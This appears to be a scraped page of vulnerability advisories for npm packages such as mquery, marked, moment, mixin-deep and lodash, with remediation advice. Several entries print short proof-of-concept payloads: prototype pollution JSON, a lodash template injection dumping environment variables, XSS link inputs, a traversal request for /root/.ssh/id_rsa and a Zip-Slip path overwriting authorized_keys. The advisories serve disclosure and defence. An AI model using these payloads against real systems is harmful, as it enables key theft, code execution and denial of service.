Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade mquery
to version 3.2.3 or higher.
References
+ + ++ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+mquery is an Expressive query building for MongoDB
+Affected versions of this package are vulnerable to Prototype Pollution via the mergeClone()
function.
PoC by zhou, peng
+mquery = require('mquery');
+ var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
+ console.log('Before:', {}.polluted); // undefined
+ mquery.utils.mergeClone({}, JSON.parse(malicious_payload));
+ console.log('After:', {}.polluted); // HACKED
+
+ Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade mquery
to version 3.2.5 or higher.
References
+-
+
- GitHub Commit +
- GitHub PR +
+ + + +
Denial of Service (DoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+mongodb is an official MongoDB driver for Node.js.
+Affected versions of this package are vulnerable to Denial of Service (DoS). The package fails to properly catch an exception when a collection name is invalid and the DB does not exist, crashing the application.
+Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade mongodb
to version 3.1.13 or higher.
References
+ + ++ + + +
Directory Traversal
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.
+Affected versions of this package are vulnerable to Directory Traversal when a user provides a locale string which is directly used to switch moment locale.
+Details
+A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
+Directory Traversal vulnerabilities can be generally divided into two types:
+-
+
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system. +
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
+curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
+
+ Note %2e
is the URL encoded version of .
(dot).
-
+
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
+
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
+ 2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
+
+ Remediation
+Upgrade moment
to version 2.29.2 or higher.
References
+-
+
- GitHub Commit +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+mixin-deep is a package that deeply mixes the properties of objects into the first object.
+Affected versions of this package are vulnerable to Prototype Pollution. The function mixin-deep
could be tricked into adding or modifying properties of Object.prototype
using a constructor
payload.
PoC by Snyk
+const mixin = require('mixin-deep');
+ const payload = '{"constructor": {"prototype": {"a0": true}}}'
+
+ function check() {
+ mixin({}, JSON.parse(payload));
+ if (({})[`a0`] === true) {
+ console.log(`Vulnerable to Prototype Pollution via ${payload}`)
+ }
+ }
+
+ check();
+
+ Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade mixin-deep
to version 2.0.1, 1.3.2 or higher.
References
+-
+
- GitHub Commit +
+ + + +
Cross-site Scripting (XSS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
+Affected versions of this package are vulnerable to Cross-site Scripting (XSS). An attacker could bypass its output sanitization (sanitize: true
) protection. Using the HTML Coded Character Set, attackers can inject javascript:
code snippets into the output. For example, the following input javascript֍ocument;alert(1)
will result in alert(1)
being executed when the user clicks on the link.
Details
+A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
+This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
+Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
+Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
+Types of attacks
+There are a few methods by which XSS can be manipulated:
+Type | +Origin | +Description | +
---|---|---|
Stored | +Server | +The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. | +
Reflected | +Server | +The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. | +
DOM-based | +Client | +The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. | +
Mutated | ++ | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. | +
Affected environments
+The following environments are susceptible to an XSS attack:
+-
+
- Web servers +
- Application servers +
- Web application environments +
How to prevent
+This section describes the top best practices designed to specifically protect your code:
+-
+
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. +
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents.
+ - Give users the option to disable client-side scripts. +
- Redirect invalid requests. +
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions. +
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack. +
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML. +
Remediation
+Upgrade marked
to version 0.3.6 or higher.
References
+-
+
- GitHub Commit +
- GitHub PR +
+ + + +
Cross-site Scripting (XSS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
+Affected versions of this package are vulnerable to Cross-site Scripting (XSS). Data URIs enable embedding small files in line in HTML documents, provided in the URL itself. + Attackers can craft malicious web pages containing either HTML or script code that utilizes the data URI scheme, allowing them to bypass access controls or steal sensitive information.
+An example of data URI used to deliver javascript code. The data holds <script>alert('XSS')</script>
tag in base64 encoded format.
[xss link](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
+
+ Details
+A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
+This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
+Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
+Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
+Types of attacks
+There are a few methods by which XSS can be manipulated:
+Type | +Origin | +Description | +
---|---|---|
Stored | +Server | +The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. | +
Reflected | +Server | +The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. | +
DOM-based | +Client | +The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. | +
Mutated | ++ | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. | +
Affected environments
+The following environments are susceptible to an XSS attack:
+-
+
- Web servers +
- Application servers +
- Web application environments +
How to prevent
+This section describes the top best practices designed to specifically protect your code:
+-
+
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. +
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents.
+ - Give users the option to disable client-side scripts. +
- Redirect invalid requests. +
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions. +
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack. +
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML. +
Remediation
+Upgrade marked
to version 0.3.7 or higher.
References
+-
+
- GitHub Commit +
+ + + +
Cross-site Scripting (XSS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
+Affected versions of this package are vulnerable to Cross-site Scripting (XSS). Browsers support both lowercase and uppercase x in hexadecimal form of HTML character entity, but marked unescaped only lowercase.
+This may allow an attacker to create a link with javascript code.
+For example:
+var marked = require('marked');
+ marked.setOptions({
+ renderer: new marked.Renderer(),
+ sanitize: true
+ });
+
+ text = `
+ lower[click me](javascript:...)lower
+ upper[click me](javascript:...)upper
+ `;
+
+ console.log(marked(text));
+
+ will render the following:
+<p>lowerlower
+ upper<a href="javascript:...">click me</a>upper</p>
+
+ Details
+A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
+This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
+Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
+Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
+Types of attacks
+There are a few methods by which XSS can be manipulated:
+Type | +Origin | +Description | +
---|---|---|
Stored | +Server | +The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. | +
Reflected | +Server | +The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. | +
DOM-based | +Client | +The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. | +
Mutated | ++ | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. | +
Affected environments
+The following environments are susceptible to an XSS attack:
+-
+
- Web servers +
- Application servers +
- Web application environments +
How to prevent
+This section describes the top best practices designed to specifically protect your code:
+-
+
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. +
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents.
+ - Give users the option to disable client-side scripts. +
- Redirect invalid requests. +
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions. +
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack. +
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML. +
Remediation
+Upgrade marked
to version 0.3.9 or higher.
References
+-
+
- GitHub Commit +
- GitHub Issue +
- GitHub PR +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) + when parsing the input markdown content (1,000 characters costs around 6 seconds matching time).
+Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade marked
to version 0.3.9 or higher.
References
+-
+
- + +
- + +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can cause an impact of about 10 seconds matching time for data 150 characters long.
+Disclosure Timeline
+-
+
- Feb 21th, 2018 - Initial Disclosure to package owner +
- Feb 21th, 2018 - Initial Response from package owner +
- Feb 26th, 2018 - Fix issued +
- Feb 27th, 2018 - Vulnerability published +
Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade marked
to version 0.3.18 or higher.
References
+-
+
- GitHub Commit +
- GitHub PR +
+ + + +
Command Injection
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
+Affected versions of this package are vulnerable to Command Injection via template
.
PoC
+var _ = require('lodash');
+
+ _.template('', { variable: '){console.log(process.env)}; with(obj' })()
+
+ Remediation
+Upgrade lodash
to version 4.17.21 or higher.
References
+-
+
- GitHub Commit +
- Vulnerable Code +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
+Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep
could be tricked into adding or modifying properties of Object.prototype
using a constructor
payload.
PoC by Snyk
+const mergeFn = require('lodash').defaultsDeep;
+ const payload = '{"constructor": {"prototype": {"a0": true}}}'
+
+ function check() {
+ mergeFn({}, JSON.parse(payload));
+ if (({})[`a0`] === true) {
+ console.log(`Vulnerable to Prototype Pollution via ${payload}`);
+ }
+ }
+
+ check();
+
+ For more information, check out our blog post
+Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
